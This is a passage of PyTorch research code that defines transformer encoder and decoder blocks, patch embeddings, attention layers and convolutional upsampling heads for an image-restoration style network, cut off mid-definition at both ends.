self.block5[i].drop_path.drop_prob = dpr[cur + i]
def forward_features(self, x):
B = x.shape[0]
outs = []
# stage 1
x1, H1, W1 = self.patch_embed1(x)
for i, blk in enumerate(self.block1):
x1 = blk(x1, H1, W1)
x1 = self.norm1(x1)
x1 = x1.reshape(B, H1, W1, -1).permute(0, 3, 1, 2).contiguous()
outs.append(x1)
# stage 2
x1, H1, W1 = self.patch_embed2(x1)
for i, blk in enumerate(self.block2):
x1 = blk(x1, H1, W1)
x1 = self.norm2(x1)
x1 = x1.reshape(B, H1, W1, -1).permute(0, 3, 1, 2).contiguous()
outs.append(x1)
# stage 3
x1, H1, W1 = self.patch_embed3(x1)
for i, blk in enumerate(self.block3):
x1 = blk(x1, H1, W1)
x1 = self.norm3(x1)
x1 = x1.reshape(B, H1, W1, -1).permute(0, 3, 1, 2).contiguous()
outs.append(x1)
# stage 4
x1, H1, W1 = self.patch_embed4(x1)
for i, blk in enumerate(self.block4):
x1 = blk(x1, H1, W1)
x1 = self.norm4(x1)
x1 = x1.reshape(B, H1, W1, -1).permute(0, 3, 1, 2).contiguous()
outs.append(x1)
# stage 5
x1, H1, W1 = self.patch_embed5(x1)
for i, blk in enumerate(self.block5):
x1 = blk(x1, H1, W1)
x1 = self.norm5(x1)
x1 = x1.reshape(B, H1, W1, -1).permute(0, 3, 1, 2).contiguous()
outs.append(x1)
return outs
def forward(self, x):
x = self.forward_features(x)
return x
class EncoderTransformerV3(nn.Module):
def __init__(self, img_size=256, patch_size=16, in_chans=1, num_classes=1000, embed_dims=[64, 128, 256, 512],
num_heads=[1, 2, 4, 8], mlp_ratios=[4, 4, 4, 4], qkv_bias=False, qk_scale=None, drop_rate=0.,
attn_drop_rate=0., drop_path_rate=0., norm_layer=nn.LayerNorm,
depths=[3, 4, 6, 3], sr_ratios=[8, 4, 2, 1]):
super().__init__()
self.num_classes = num_classes
self.depths = depths
# patch embedding definitions
self.patch_embed1 = OverlapPatchEmbed(img_size=img_size, patch_size=7, stride=4, in_chans=in_chans,
embed_dim=embed_dims[0])
self.patch_embed2 = OverlapPatchEmbed(img_size=img_size // 4, patch_size=3, stride=2, in_chans=embed_dims[0],
embed_dim=embed_dims[1])
self.patch_embed3 = OverlapPatchEmbed(img_size=img_size // 8, patch_size=3, stride=2, in_chans=embed_dims[1],
embed_dim=embed_dims[2])
self.patch_embed4 = OverlapPatchEmbed(img_size=img_size // 16, patch_size=3, stride=2, in_chans=embed_dims[2],
embed_dim=embed_dims[3])
# for Intra-patch transformer blocks
self.mini_patch_embed1 = OverlapPatchEmbed(img_size=img_size // 4, patch_size=3, stride=2, in_chans=embed_dims[0],
embed_dim=embed_dims[1])
self.mini_patch_embed2 = OverlapPatchEmbed(img_size=img_size // 8, patch_size=3, stride=2, in_chans=embed_dims[1],
embed_dim=embed_dims[2])
self.mini_patch_embed3 = OverlapPatchEmbed(img_size=img_size // 16, patch_size=3, stride=2, in_chans=embed_dims[2],
embed_dim=embed_dims[3])
self.mini_patch_embed4 = OverlapPatchEmbed(img_size=img_size // 32, patch_size=3, stride=2, in_chans=embed_dims[0],
embed_dim=embed_dims[3])
# main encoder
dpr = [x.item() for x in torch.linspace(0, drop_path_rate, sum(depths))] # stochastic depth decay rule
cur = 0
self.block1 = nn.ModuleList([Block(
dim=embed_dims[0], num_heads=num_heads[0], mlp_ratio=mlp_ratios[0], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[0])
for i in range(depths[0])])
self.norm1 = norm_layer(embed_dims[0])
# intra-patch encoder
self.patch_block1 = nn.ModuleList([Block(
dim=embed_dims[1], num_heads=num_heads[0], mlp_ratio=mlp_ratios[0], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[0])
for i in range(1)])
self.pnorm1 = norm_layer(embed_dims[1])
# main encoder
cur += depths[0]
self.block2 = nn.ModuleList([Block(
dim=embed_dims[1], num_heads=num_heads[1], mlp_ratio=mlp_ratios[1], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[1])
for i in range(depths[1])])
self.norm2 = norm_layer(embed_dims[1])
# intra-patch encoder
self.patch_block2 = nn.ModuleList([Block(
dim=embed_dims[2], num_heads=num_heads[1], mlp_ratio=mlp_ratios[1], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[1])
for i in range(1)])
self.pnorm2 = norm_layer(embed_dims[2])
# main encoder
cur += depths[1]
self.block3 = nn.ModuleList([Block(
dim=embed_dims[2], num_heads=num_heads[2], mlp_ratio=mlp_ratios[2], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[2])
for i in range(depths[2])])
self.norm3 = norm_layer(embed_dims[2])
# intra-patch encoder
self.patch_block3 = nn.ModuleList([Block(
dim=embed_dims[3], num_heads=num_heads[1], mlp_ratio=mlp_ratios[2], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[2])
for i in range(1)])
self.pnorm3 = norm_layer(embed_dims[3])
# main encoder
cur += depths[2]
self.block4 = nn.ModuleList([Block(
dim=embed_dims[3], num_heads=num_heads[3], mlp_ratio=mlp_ratios[3], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[3])
for i in range(depths[3])])
self.norm4 = norm_layer(embed_dims[3])
self.apply(self._init_weights)
def _init_weights(self, m):
if isinstance(m, nn.Linear):
trunc_normal_(m.weight, std=.02)
if isinstance(m, nn.Linear) and m.bias is not None:
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.LayerNorm):
nn.init.constant_(m.bias, 0)
nn.init.constant_(m.weight, 1.0)
elif isinstance(m, nn.Conv2d):
fan_out = m.kernel_size[0] * m.kernel_size[1] * m.out_channels
fan_out //= m.groups
m.weight.data.normal_(0, math.sqrt(2.0 / fan_out))
if m.bias is not None:
m.bias.data.zero_()
# def init_weights(self, pretrained=None):
# if isinstance(pretrained, str):
# logger = get_root_logger()
# load_checkpoint(self, pretrained, map_location='cpu', strict=False, logger=logger)
def reset_drop_path(self, drop_path_rate):
dpr = [x.item() for x in torch.linspace(0, drop_path_rate, sum(self.depths))]
cur = 0
for i in range(self.depths[0]):
self.block1[i].drop_path.drop_prob = dpr[cur + i]
cur += self.depths[0]
for i in range(self.depths[1]):
self.block2[i].drop_path.drop_prob = dpr[cur + i]
cur += self.depths[1]
for i in range(self.depths[2]):
self.block3[i].drop_path.drop_prob = dpr[cur + i]
cur += self.depths[2]
for i in range(self.depths[3]):
self.block4[i].drop_path.drop_prob = dpr[cur + i]
def forward_features(self, x):
B = x.shape[0]
outs = []
embed_dims=[64, 128, 320, 512]
# stage 1
x1, H1, W1 = self.patch_embed1(x)
x2, H2, W2 = self.mini_patch_embed1(x1.permute(0,2,1).reshape(B,embed_dims[0],H1,W1))
for i, blk in enumerate(self.block1):
x1 = blk(x1, H1, W1)
x1 = self.norm1(x1)
x1 = x1.reshape(B, H1, W1, -1).permute(0, 3, 1, 2).contiguous()
for i, blk in enumerate(self.patch_block1):
x2 = blk(x2, H2, W2)
x2 = self.pnorm1(x2)
x2 = x2.reshape(B, H2, W2, -1).permute(0, 3, 1, 2).contiguous()
outs.append(x1)
# stage 2
x1, H1, W1 = self.patch_embed2(x1)
x1 = x1.permute(0,2,1).reshape(B,embed_dims[1],H1,W1)+x2
x2, H2, W2 = self.mini_patch_embed2(x1)
x1 = x1.view(x1.shape[0],x1.shape[1],-1).permute(0,2,1)
for i, blk in enumerate(self.block2):
x1 = blk(x1, H1, W1)
x1 = self.norm2(x1)
x1 = x1.reshape(B, H1, W1, -1).permute(0, 3, 1, 2).contiguous()
outs.append(x1)
for i, blk in enumerate(self.patch_block2):
x2 = blk(x2, H2, W2)
x2 = self.pnorm2(x2)
x2 = x2.reshape(B, H2, W2, -1).permute(0, 3, 1, 2).contiguous()
# stage 3
x1, H1, W1 = self.patch_embed3(x1)
x1 = x1.permute(0,2,1).reshape(B,embed_dims[2],H1,W1)+x2
x2, H2, W2 = self.mini_patch_embed3(x1)
x1 = x1.view(x1.shape[0],x1.shape[1],-1).permute(0,2,1)
for i, blk in enumerate(self.block3):
x1 = blk(x1, H1, W1)
x1 = self.norm3(x1)
x1 = x1.reshape(B, H1, W1, -1).permute(0, 3, 1, 2).contiguous()
outs.append(x1)
for i, blk in enumerate(self.patch_block3):
x2 = blk(x2, H2, W2)
x2 = self.pnorm3(x2)
x2 = x2.reshape(B, H2, W2, -1).permute(0, 3, 1, 2).contiguous()
# stage 4
x1, H1, W1 = self.patch_embed4(x1)
x1 = x1.permute(0,2,1).reshape(B,embed_dims[3],H1,W1)+x2
x1 = x1.view(x1.shape[0],x1.shape[1],-1).permute(0,2,1)
for i, blk in enumerate(self.block4):
x1 = blk(x1, H1, W1)
x1 = self.norm4(x1)
x1 = x1.reshape(B, H1, W1, -1).permute(0, 3, 1, 2).contiguous()
outs.append(x1)
return outs
def forward(self, x):
x = self.forward_features(x)
return x
class OverlapPatchEmbed(nn.Module):
""" Image to Patch Embedding
"""
def __init__(self, img_size=224, patch_size=7, stride=4, in_chans=3, embed_dim=768):
super().__init__()
img_size = to_2tuple(img_size)
patch_size = to_2tuple(patch_size)
self.img_size = img_size
self.patch_size = patch_size
self.H, self.W = img_size[0] // patch_size[0], img_size[1] // patch_size[1]
self.num_patches = self.H * self.W
self.proj = nn.Conv2d(in_chans, embed_dim, kernel_size=patch_size, stride=stride,
padding=(patch_size[0] // 2, patch_size[1] // 2))
self.norm = nn.LayerNorm(embed_dim)
self.apply(self._init_weights)
def _init_weights(self, m):
if isinstance(m, nn.Linear):
trunc_normal_(m.weight, std=.02)
if isinstance(m, nn.Linear) and m.bias is not None:
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.LayerNorm):
nn.init.constant_(m.bias, 0)
nn.init.constant_(m.weight, 1.0)
elif isinstance(m, nn.Conv2d):
fan_out = m.kernel_size[0] * m.kernel_size[1] * m.out_channels
fan_out //= m.groups
m.weight.data.normal_(0, math.sqrt(2.0 / fan_out))
if m.bias is not None:
m.bias.data.zero_()
def forward(self, x):
# pdb.set_trace()
x = self.proj(x)
_, _, H, W = x.shape
x = x.flatten(2).transpose(1, 2)
x = self.norm(x)
return x, H, W
def resize(input,
size=None,
scale_factor=None,
mode='nearest',
align_corners=None,
warning=True):
if warning:
if size is not None and align_corners:
input_h, input_w = tuple(int(x) for x in input.shape[2:])
output_h, output_w = tuple(int(x) for x in size)
if output_h > input_h or output_w > output_h:
if ((output_h > 1 and output_w > 1 and input_h > 1
and input_w > 1) and (output_h - 1) % (input_h - 1)
and (output_w - 1) % (input_w - 1)):
warnings.warn(
f'When align_corners={align_corners}, '
'the output would more aligned if '
f'input size {(input_h, input_w)} is `x+1` and '
f'out size {(output_h, output_w)} is `nx+1`')
return F.interpolate(input, size, scale_factor, mode, align_corners)
############################################################
class Mlp(nn.Module):
def __init__(self, in_features, hidden_features=None, out_features=None, act_layer=nn.GELU, drop=0.):
super().__init__()
out_features = out_features or in_features
hidden_features = hidden_features or in_features
self.fc1 = nn.Linear(in_features, hidden_features)
self.dwconv = DWConv(hidden_features)
self.act = act_layer()
self.fc2 = nn.Linear(hidden_features, out_features)
self.drop = nn.Dropout(drop)
self.apply(self._init_weights)
def _init_weights(self, m):
if isinstance(m, nn.Linear):
trunc_normal_(m.weight, std=.02)
if isinstance(m, nn.Linear) and m.bias is not None:
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.LayerNorm):
nn.init.constant_(m.bias, 0)
nn.init.constant_(m.weight, 1.0)
elif isinstance(m, nn.Conv2d):
fan_out = m.kernel_size[0] * m.kernel_size[1] * m.out_channels
fan_out //= m.groups
m.weight.data.normal_(0, math.sqrt(2.0 / fan_out))
if m.bias is not None:
m.bias.data.zero_()
def forward(self, x, H, W):
x = self.fc1(x)
x = self.dwconv(x, H, W)
x = self.act(x)
x = self.drop(x)
x = self.fc2(x)
x = self.drop(x)
return x
class Attention(nn.Module):
def __init__(self, dim, num_heads=8, qkv_bias=False, qk_scale=None, attn_drop=0., proj_drop=0., sr_ratio=1):
super().__init__()
assert dim % num_heads == 0, f"dim {dim} should be divided by num_heads {num_heads}."
self.dim = dim
self.num_heads = num_heads
head_dim = dim // num_heads
self.scale = qk_scale or head_dim ** -0.5
self.q = nn.Linear(dim, dim, bias=qkv_bias)
self.kv = nn.Linear(dim, dim * 2, bias=qkv_bias)
self.attn_drop = nn.Dropout(attn_drop)
self.proj = nn.Linear(dim, dim)
self.proj_drop = nn.Dropout(proj_drop)
self.sr_ratio = sr_ratio
if sr_ratio > 1:
self.sr = nn.Conv2d(dim, dim, kernel_size=sr_ratio, stride=sr_ratio)
self.norm = nn.LayerNorm(dim)
self.apply(self._init_weights)
def _init_weights(self, m):
if isinstance(m, nn.Linear):
trunc_normal_(m.weight, std=.02)
if isinstance(m, nn.Linear) and m.bias is not None:
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.LayerNorm):
nn.init.constant_(m.bias, 0)
nn.init.constant_(m.weight, 1.0)
elif isinstance(m, nn.Conv2d):
fan_out = m.kernel_size[0] * m.kernel_size[1] * m.out_channels
fan_out //= m.groups
m.weight.data.normal_(0, math.sqrt(2.0 / fan_out))
if m.bias is not None:
m.bias.data.zero_()
def forward(self, x, H, W):
B, N, C = x.shape
q = self.q(x).reshape(B, N, self.num_heads, C // self.num_heads).permute(0, 2, 1, 3)
if self.sr_ratio > 1:
x_ = x.permute(0, 2, 1).reshape(B, C, H, W)
x_ = self.sr(x_).reshape(B, C, -1).permute(0, 2, 1)
x_ = self.norm(x_)
kv = self.kv(x_).reshape(B, -1, 2, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4)
else:
kv = self.kv(x).reshape(B, -1, 2, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4)
k, v = kv[0], kv[1]
attn = (q @ k.transpose(-2, -1)) * self.scale
attn = attn.softmax(dim=-1)
attn = self.attn_drop(attn)
x = (attn @ v).transpose(1, 2).reshape(B, N, C)
x = self.proj(x)
x = self.proj_drop(x)
return x
class Attention_dec(nn.Module):
def __init__(self, dim, num_heads=8, qkv_bias=False, qk_scale=None, attn_drop=0., proj_drop=0., sr_ratio=1):
super().__init__()
assert dim % num_heads == 0, f"dim {dim} should be divided by num_heads {num_heads}."
self.dim = dim
self.num_heads = num_heads
head_dim = dim // num_heads
self.scale = qk_scale or head_dim ** -0.5
self.q = nn.Linear(dim, dim, bias=qkv_bias)
self.kv = nn.Linear(dim, dim * 2, bias=qkv_bias)
self.attn_drop = nn.Dropout(attn_drop)
self.proj = nn.Linear(dim, dim)
self.proj_drop = nn.Dropout(proj_drop)
self.task_query = nn.Parameter(torch.randn(1,48,dim))
self.sr_ratio = sr_ratio
if sr_ratio > 1:
self.sr = nn.Conv2d(dim, dim, kernel_size=sr_ratio, stride=sr_ratio)
self.norm = nn.LayerNorm(dim)
self.apply(self._init_weights)
def _init_weights(self, m):
if isinstance(m, nn.Linear):
trunc_normal_(m.weight, std=.02)
if isinstance(m, nn.Linear) and m.bias is not None:
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.LayerNorm):
nn.init.constant_(m.bias, 0)
nn.init.constant_(m.weight, 1.0)
elif isinstance(m, nn.Conv2d):
fan_out = m.kernel_size[0] * m.kernel_size[1] * m.out_channels
fan_out //= m.groups
m.weight.data.normal_(0, math.sqrt(2.0 / fan_out))
if m.bias is not None:
m.bias.data.zero_()
def forward(self, x, H, W):
B, N, C = x.shape
task_q = self.task_query
# This is because we fix the task parameters to be of a certain dimension, so with varying batch size, we just stack up the same queries to operate on the entire batch
if B>1:
task_q = task_q.unsqueeze(0).repeat(B,1,1,1)
task_q = task_q.squeeze(1)
q = self.q(task_q).reshape(B, task_q.shape[1], self.num_heads, C // self.num_heads).permute(0, 2, 1, 3)
if self.sr_ratio > 1:
x_ = x.permute(0, 2, 1).reshape(B, C, H, W)
x_ = self.sr(x_).reshape(B, C, -1).permute(0, 2, 1)
x_ = self.norm(x_)
kv = self.kv(x_).reshape(B, -1, 2, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4)
else:
kv = self.kv(x).reshape(B, -1, 2, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4)
k, v = kv[0], kv[1]
q = torch.nn.functional.interpolate(q,size= (v.shape[2],v.shape[3]))
attn = (q @ k.transpose(-2, -1)) * self.scale
attn = attn.softmax(dim=-1)
attn = self.attn_drop(attn)
x = (attn @ v).transpose(1, 2).reshape(B, N, C)
x = self.proj(x)
x = self.proj_drop(x)
return x
class Block_dec(nn.Module):
def __init__(self, dim, num_heads, mlp_ratio=4., qkv_bias=False, qk_scale=None, drop=0., attn_drop=0.,
drop_path=0., act_layer=nn.GELU, norm_layer=nn.LayerNorm, sr_ratio=1):
super().__init__()
self.norm1 = norm_layer(dim)
self.attn = Attention_dec(
dim,
num_heads=num_heads, qkv_bias=qkv_bias, qk_scale=qk_scale,
attn_drop=attn_drop, proj_drop=drop, sr_ratio=sr_ratio)
self.drop_path = DropPath(drop_path) if drop_path > 0. else nn.Identity()
self.norm2 = norm_layer(dim)
mlp_hidden_dim = int(dim * mlp_ratio)
self.mlp = Mlp(in_features=dim, hidden_features=mlp_hidden_dim, act_layer=act_layer, drop=drop)
self.apply(self._init_weights)
def _init_weights(self, m):
if isinstance(m, nn.Linear):
trunc_normal_(m.weight, std=.02)
if isinstance(m, nn.Linear) and m.bias is not None:
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.LayerNorm):
nn.init.constant_(m.bias, 0)
nn.init.constant_(m.weight, 1.0)
elif isinstance(m, nn.Conv2d):
fan_out = m.kernel_size[0] * m.kernel_size[1] * m.out_channels
fan_out //= m.groups
m.weight.data.normal_(0, math.sqrt(2.0 / fan_out))
if m.bias is not None:
m.bias.data.zero_()
def forward(self, x, H, W):
x = x + self.drop_path(self.attn(self.norm1(x), H, W))
x = x + self.drop_path(self.mlp(self.norm2(x), H, W))
return x
class Block(nn.Module):
def __init__(self, dim, num_heads, mlp_ratio=4., qkv_bias=False, qk_scale=None, drop=0., attn_drop=0.,
drop_path=0., act_layer=nn.GELU, norm_layer=nn.LayerNorm, sr_ratio=1):
super().__init__()
self.norm1 = norm_layer(dim)
self.attn = Attention(
dim,
num_heads=num_heads, qkv_bias=qkv_bias, qk_scale=qk_scale,
attn_drop=attn_drop, proj_drop=drop, sr_ratio=sr_ratio)
self.drop_path = DropPath(drop_path) if drop_path > 0. else nn.Identity()
self.norm2 = norm_layer(dim)
mlp_hidden_dim = int(dim * mlp_ratio)
self.mlp = Mlp(in_features=dim, hidden_features=mlp_hidden_dim, act_layer=act_layer, drop=drop)
self.apply(self._init_weights)
def _init_weights(self, m):
if isinstance(m, nn.Linear):
trunc_normal_(m.weight, std=.02)
if isinstance(m, nn.Linear) and m.bias is not None:
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.LayerNorm):
nn.init.constant_(m.bias, 0)
nn.init.constant_(m.weight, 1.0)
elif isinstance(m, nn.Conv2d):
fan_out = m.kernel_size[0] * m.kernel_size[1] * m.out_channels
fan_out //= m.groups
m.weight.data.normal_(0, math.sqrt(2.0 / fan_out))
if m.bias is not None:
m.bias.data.zero_()
def forward(self, x, H, W):
x = x + self.drop_path(self.attn(self.norm1(x), H, W))
x = x + self.drop_path(self.mlp(self.norm2(x), H, W))
return x
class DWConv(nn.Module):
def __init__(self, dim=768):
super(DWConv, self).__init__()
self.dwconv = nn.Conv2d(dim, dim, 3, 1, 1, bias=True, groups=dim)
def forward(self, x, H, W):
B, N, C = x.shape
x = x.transpose(1, 2).view(B, C, H, W)
x = self.dwconv(x)
x = x.flatten(2).transpose(1, 2)
return x
class DecoderTransformer(nn.Module):
def __init__(self, img_size=224, patch_size=16, in_chans=3, num_classes=1000, embed_dims=[64, 128, 256, 512],
num_heads=[1, 2, 4, 8], mlp_ratios=[4, 4, 4, 4], qkv_bias=False, qk_scale=None, drop_rate=0.,
attn_drop_rate=0., drop_path_rate=0., norm_layer=nn.LayerNorm,
depths=[3, 4, 6, 3], sr_ratios=[8, 4, 2, 1]):
super().__init__()
self.num_classes = num_classes
self.depths = depths
# patch_embed
self.patch_embed1 = OverlapPatchEmbed(img_size=img_size//16, patch_size=3, stride=2, in_chans=embed_dims[3],
embed_dim=embed_dims[3])
# transformer decoder
dpr = [x.item() for x in torch.linspace(0, drop_path_rate, sum(depths))] # stochastic depth decay rule
cur = 0
self.block1 = nn.ModuleList([Block_dec(
dim=embed_dims[3], num_heads=num_heads[3], mlp_ratio=mlp_ratios[3], qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[cur + i], norm_layer=norm_layer,
sr_ratio=sr_ratios[3])
for i in range(depths[0])])
self.norm1 = norm_layer(embed_dims[3])
cur += depths[0]
self.apply(self._init_weights)
def _init_weights(self, m):
if isinstance(m, nn.Linear):
trunc_normal_(m.weight, std=.02)
if isinstance(m, nn.Linear) and m.bias is not None:
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.LayerNorm):
nn.init.constant_(m.bias, 0)
nn.init.constant_(m.weight, 1.0)
elif isinstance(m, nn.Conv2d):
fan_out = m.kernel_size[0] * m.kernel_size[1] * m.out_channels
fan_out //= m.groups
m.weight.data.normal_(0, math.sqrt(2.0 / fan_out))
if m.bias is not None:
m.bias.data.zero_()
# def init_weights(self, pretrained=None):
# if isinstance(pretrained, str):
# logger = get_root_logger()
# load_checkpoint(self, pretrained, map_location='cpu', strict=False, logger=logger)
def reset_drop_path(self, drop_path_rate):
dpr = [x.item() for x in torch.linspace(0, drop_path_rate, sum(self.depths))]
cur = 0
for i in range(self.depths[0]):
self.block1[i].drop_path.drop_prob = dpr[cur + i]
cur += self.depths[0]
for i in range(self.depths[1]):
self.block2[i].drop_path.drop_prob = dpr[cur + i]
cur += self.depths[1]
for i in range(self.depths[2]):
self.block3[i].drop_path.drop_prob = dpr[cur + i]
cur += self.depths[2]
for i in range(self.depths[3]):
self.block4[i].drop_path.drop_prob = dpr[cur + i]
def forward_features(self, x):
x=x[3]
B = x.shape[0]
outs = []
# stage 1
x, H, W = self.patch_embed1(x)
for i, blk in enumerate(self.block1):
x = blk(x, H, W)
x = self.norm1(x)
x = x.reshape(B, H, W, -1).permute(0, 3, 1, 2).contiguous()
outs.append(x)
return outs
def forward(self, x):
x = self.forward_features(x)
# x = self.head(x)
return x
class Tenc(EncoderTransformer):
def __init__(self, **kwargs):
super(Tenc, self).__init__(
patch_size=4, embed_dims=[64, 128, 320, 512], num_heads=[1, 2, 4, 4], mlp_ratios=[2, 2, 2, 2],
qkv_bias=True, norm_layer=partial(nn.LayerNorm, eps=1e-6), depths=[2, 2, 2, 2], sr_ratios=[4, 2, 2, 1],
drop_rate=0.0, drop_path_rate=0.1)
class TencV3(EncoderTransformerV3):
def __init__(self, **kwargs):
super(TencV3, self).__init__(
patch_size=4, embed_dims=[64, 128, 320, 512], num_heads=[1, 2, 4, 4], mlp_ratios=[2, 2, 2, 2],
qkv_bias=True, norm_layer=partial(nn.LayerNorm, eps=1e-6), depths=[2, 2, 2, 2], sr_ratios=[4, 2, 2, 1],
drop_rate=0.0, drop_path_rate=0.1)
class Tdec(DecoderTransformer):
def __init__(self, **kwargs):
super(Tdec, self).__init__(
patch_size=4, embed_dims=[64, 128, 320, 512], num_heads=[1, 2, 5, 8], mlp_ratios=[4, 4, 4, 4],
qkv_bias=True, norm_layer=partial(nn.LayerNorm, eps=1e-6), depths=[3, 4, 6, 3], sr_ratios=[8, 4, 2, 1],
drop_rate=0.0, drop_path_rate=0.1)
class convprojection(nn.Module):
def __init__(self, path=None, **kwargs):
super(convprojection,self).__init__()
self.convd32x = UpsampleConvLayer(512, 512, kernel_size=4, stride=2)
self.convd16x = UpsampleConvLayer(512, 320, kernel_size=4, stride=2)
self.dense_4 = nn.Sequential(ResidualBlock(320))
self.convd8x = UpsampleConvLayer(320, 128, kernel_size=4, stride=2)
self.dense_3 = nn.Sequential(ResidualBlock(128))
self.convd4x = UpsampleConvLayer(128, 64, kernel_size=4, stride=2)
self.dense_2 = nn.Sequential(ResidualBlock(64))
self.convd2x = UpsampleConvLayer(64, 16, kernel_size=4, stride=2)
self.dense_1 = nn.Sequential( ResidualBlock(16))
self.convd1x = UpsampleConvLayer(16, 8, kernel_size=4, stride=2)
self.conv_output = ConvLayer(8, 1, kernel_size=3, stride=1, padding=1)
self.active = nn.Tanh()
def forward(self,x1,x2):
res32x = self.convd32x(x2[0])
if x1[3].shape[3] != res32x.shape[3] and x1[3].shape[2] != res32x.shape[2]:
p2d = (0,-1,0,-1)
res32x = F.pad(res32x,p2d,"constant",0)
elif x1[3].shape[3] != res32x.shape[3] and x1[3].shape[2] == res32x.shape[2]:
p2d = (0,-1,0,0)
res32x = F.pad(res32x,p2d,"constant",0)
elif x1[3].shape[3] == res32x.shape[3] and x1[3].shape[2] != res32x.shape[2]:
p2d = (0,0,0,-1)
res32x = F.pad(res32x,p2d,"constant",0)
res16x = res32x + x1[3]
res16x = self.convd16x(res16x)
if x1[2].shape[3] != res16x.shape[3] and x1[2].shape[2] != res16x.shape[2]:
p2d = (0,-1,0,-1)
res16x = F.pad(res16x,p2d,"constant",0)
elif x1[2].shape[3] != res16x.shape[3] and x1[2].shape[2] == res16x.shape[2]:
p2d = (0,-1,0,0)
res16x = F.pad(res16x,p2d,"constant",0)
elif x1[2].shape[3] == res16x.shape[3] and x1[2].shape[2] != res16x.shape[2]:
p2d = (0,0,0,-1)
res16x = F.pad(res16x,p2d,"constant",0)
res8x = self.dense_4(res16x) + x1[2]
res8x = self.convd8x(res8x)
res4x = self.dense_3(res8x) + x1[1]
res4x = self.convd4x(res4x)
res2x = self.dense_2(res4x) + x1[0]
res2x = self.convd2x(res2x)
x = res2x
x = self.dense_1(x)
x = self.convd1x(x)
return x
class convprojection_base(nn.Module):
def __init__(self, path=None, **kwargs):
super(convprojection_base,self).__init__()
# self.convd32x = UpsampleConvLayer(512, 512, kernel_size=4, stride=2)
self.convd16x = UpsampleConvLayer(512, 320, kernel_size=4, stride=2)
self.dense_4 = nn.Sequential(ResidualBlock(320))
self.convd8x = UpsampleConvLayer(320, 128, kernel_size=4, stride=2)
self.dense_3 = nn.Sequential(ResidualBlock(128))
self.convd4x = UpsampleConvLayer(128, 64, kernel_size=4, stride=2)
self.dense_2 = nn.Sequential(ResidualBlock(64))
self.convd2x = UpsampleConvLayer(64, 16, kernel_size=4, stride=2)
self.dense_1 = nn.Sequential( ResidualBlock(16))
self.convd1x = UpsampleConvLayer(16, 8, kernel_size=4, stride=2)
self.conv_output = ConvLayer(8, 1, kernel_size=3, stride=1, padding=1)
self.active = nn.Tanh()
def forward(self,x1):
# if x1[3].shape[3] != res32x.shape[3] and x1[3].shape[2] != res32x.shape[2]:
# p2d = (0,-1,0,-1)
# res32x = F.pad(res32x,p2d,"constant",0)
# elif x1[3].shape[3] != res32x.shape[3] and x1[3].shape[2] == res32x.shape[2]:
# p2d = (0,-1,0,0)
# res32x = F.pad(res32x,p2d,"constant",0)
# elif x1[3].shape[3] == res32x.shape[3] and x1[3].shape[2] != res32x.shape[2]:
# p2d = (0,0,0,-1)
# res32x = F.pad(res32x,p2d,"constant",0)
# res16x = res32x + x1[3]
res16x = self.convd16x(x1[3])
if x1[2].shape[3] != res16x.shape[3] and x1[2].shape[2] != res16x.shape[2]:
p2d = (0,-1,0,-1)
res16x = F.pad(res16x,p2d,"constant",0)
elif x1[2].shape[3] != res16x.shape[3] and x1[2].shape[2] == res16x.shape[2]:
p2d = (0,-1,0,0)
res16x = F.pad(res16x,p2d,"constant",0)
elif x1[2].shape[3] == res16x.shape[3] and x1[2].shape[2] != res16x.shape[2]:
p2d = (0,0,0,-1)
res16x = F.pad(res16x,p2d,"constant",0)
res8x = self.dense_4(res16x) + x1[2]
res8x = self.convd8x(res8x)
res4x = self.dense_3(res8x) + x1[1]
res4x = self.convd4x(res4x)
res2x = self.dense_2(res4x) + x1[0]
res2x = self.convd2x(res2x)
x = res2x
x = self.dense_1(x)
x = self.convd1x(x)
return x
class convprojection_baseV2(nn.Module):
def __init__(self, path=None, **kwargs):
super(convprojection_baseV2,self).__init__()
self.convd32x = UpsampleConvLayer(512, 320, kernel_size=4, stride=2)
self.dense_5 = nn.Sequential(ResidualBlock(320))
self.convd16x = UpsampleConvLayer(320, 128, kernel_size=4, stride=2)
self.dense_4 = nn.Sequential(ResidualBlock(128))
self.convd8x = UpsampleConvLayer(128, 64, kernel_size=4, stride=2)
self.dense_3 = nn.Sequential(ResidualBlock(64))
self.convd4x = UpsampleConvLayer(64, 32, kernel_size=4, stride=2)
self.dense_2 = nn.Sequential(ResidualBlock(32))
self.convd2x = UpsampleConvLayer(32, 16, kernel_size=4, stride=2)
self.dense_1 = nn.Sequential( ResidualBlock(16))
self.convd1x = UpsampleConvLayer(16, 8, kernel_size=3, stride=1)
def forward(self,x1):
